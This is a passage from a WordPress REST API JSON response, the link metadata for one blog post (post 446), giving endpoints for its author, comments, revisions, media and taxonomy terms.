ET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=446"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/446\/revisions"}],"predecessor-version":[{"id":447,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/446\/revisions\/447"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=446"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=446"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=446"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}